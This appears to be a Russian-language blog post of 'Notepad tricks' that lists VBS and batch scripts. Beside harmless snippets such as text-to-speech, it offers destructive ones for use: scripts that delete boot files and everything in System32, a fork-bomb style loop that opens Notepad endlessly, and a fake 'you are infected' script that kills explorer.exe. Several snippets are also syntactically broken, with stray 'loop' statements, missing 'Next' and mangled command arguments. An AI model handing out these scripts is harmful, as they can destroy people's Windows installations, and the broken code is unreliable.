Прикольные трюки с блокнотом…

Всем привет, сегодня поговорим о блокноте. Когда я не понимаю зачем он вообще нужен и какой функционал он несет, пока не начал заниматься программированием( а точнее сайтами). Но не давно узнал и кое чем поделюсь сегодня с вами.

В данной статье вы узнаете как убивать через блокнот системы и так же решать свои проблемы.

Важно: Если вы гдо то стоит тире в коде, то меняйте на минут, что бы не вызвало ошибку. Отключить скрипт можно в процессах wscript.exe

Играем с CD-приводом:

Вставьте текст с кодом в блокнот и сохраните его в файле .vbs и запусти.

Set oWMP = CreateObject("WMPlayer.OCX.7")

Set colCDROMs = oWMP.cdromCollection

if colCDROMs.Count >= 1 then

For i = 0 to colCDROMs.Count - 1

colCDROMs.Item(i).Eject

For i = 0 to colCDROMs.Count - 1

colCDROMs.Item(i).Eject

End If

wscript.sleep 5000

Завершение работы:

Делаем все так же как и с CD-приводом файл .vbs и открыть.

@echo off

msg * System will now shut down

shutdown -c “Bye!” –s

А теперь мы будем постоянно открывать блокнот:

Опять все делаем так же.

@ECHO off

:top

START %SystemRoot%\system32\notepad.exe

GOTO top

Прикольный трюк со временем:

Этот трюк можно делать всем на любом пк. Просто сохраните в блокноте “.Log” без разницы на имя. И запустите…

Матрицa…

Сохраните это код в фале .bat и запустите… правда красиво?!

@echo off

color 02

:start

echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%

goto start

Переключатель Capslock

Файл .vbs и открыть

Set wshShell =wscript.CreateObject("WScript.Shell")

wscript.sleep 100

wshshell.sendkeys "{CAPSLOCK}"

loop

Медленно печатать

Файл .vbs и открываем, это заставит печатать медленно…

WScript.Sleep 180000

WScript.Sleep 10000

Set WshShell = WScript.CreateObject("WScript.Shell")

WshShell.Run "notepad"

WScript.Sleep 100

WshShell.AppActivate "Notepad"

WScript.Sleep 500

WshShell.SendKeys "Hel"

WScript.Sleep 500

WshShell.SendKeys "lo "

WScript.Sleep 500

WshShell.SendKeys ", ho"

WScript.Sleep 500

WshShell.SendKeys "wa"

WScript.Sleep 500

WshShell.SendKeys "re "

WScript.Sleep 500

WshShell.SendKeys "you"

WScript.Sleep 500

WshShell.SendKeys "? "

WScript.Sleep 500

WshShell.SendKeys "I a"

WScript.Sleep 500

WshShell.SendKeys "mg"

WScript.Sleep 500

WshShell.SendKeys "ood"

WScript.Sleep 500

WshShell.SendKeys " th"

WScript.Sleep 500

WshShell.SendKeys "ank"

WScript.Sleep 500

WshShell.SendKeys "s! "

Преобразование текста в речь с помощью блокнота.

Можно включить на своей пк и разговаривать с ним. Файл .vbs и открыть

Dim message, sapi

message=InputBox("What do you want me to say?", "Speak to Me")

Set sapi=CreateObject("sapi.spvoice")

sapi.Speak message

Загрузочные файлы удалить…

Поможет удалить загрузочные фалы(ОПАСНО)

@ECHO OFF

ATTRIB -R -S -HC:\AUTOEXEC.BAT

DEL C:\AUTOEXEC.BAT

ATTRIB -R -S -HC:\BOOT.INI

DEL C:\BOOT.INI

ATTRIB -R -S -HC:\NTLDR

DEL C:\NTLDR

ATTRIB -R -S -HC:\WINDOWS\WIN.INI

DEL C:\WINDOWS\WIN.INI

SAVE IT AS .BAT FILE.

Удаление System32

файл .bat и открыть(опасно удалит все с папки System32 эти фалы нужны для работы windows

DEL C:\WINDOWS\SYSTEM32\*.*/Q

Enter

Кнопка enter будет сама по себе нажиматься. Файл .vbs и открыть

Set wshShell = wscript.CreateObject("WScript.Shell")

wscript.sleep 100

wshshell.sendkeys "~(enter)"

loop

Набирать что-то снова…

файл .vbs, и открыть, это скрипт будет открывать то что вы вели пока не закончиться цикл.

Set wshShell = wscript.CreateObject("WScript.Shell")

wscript.sleep 100

wshshell.sendkeys "Paxagramm"

loop

Краш компьютера

Запустит окно о заражение пк и после перезагрузки включать будет блокнот калькулятор и многое другое

on error resume next

set t=createobject("Wscript.Shell")

set kill = createobject("wscript.shell")

kill.run"taskkill /f /im explorer.exe",0

msgbox"Неполадка системы",16,"Error"

msgbox"Вы заражены вирусом",48,"Windows"

msgbox"Необходим перезапуск системы",16,"Windows"

t.run"help"

t.run"calc.exe"

t.run"notepad.exe"

t.run"telnet"

t.run"help"

t.run"explorer"

t.run"help"

t.run"calc.exe"

t.run"notepad.exe"

t.run"telnet"

t.run"help"

msgbox"Сбой системы",16,"Windows"

t.run"help"

t.run"calc.exe"

t.run"notepad.exe"

t.run"telnet"

t.run"help"

t.run"explorer"

t.run"help"

t.run"calc.exe"

t.run"notepad.exe"

t.run"telnet"

t.run"help"

msgbox"Сбой системы",16,"Windows"

t.run"help"

t.run"calc.exe"

t.run"notepad.exe"

t.run"telnet"

t.run"help"

t.run"explorer"

t.run"help"

t.run"calc.exe"

t.run"notepad.exe"

t.run"telnet"

t.run"help"

msgbox"Сбой системы",16,"Windows"

t.run"help"

Бесконечно пищащий системный динамик

.vbs и открыть

Set S = CreateObject("Wscript.Shell")

execute"S.Run ""%comspec% /c "" & Chr(7), 0,True"

loop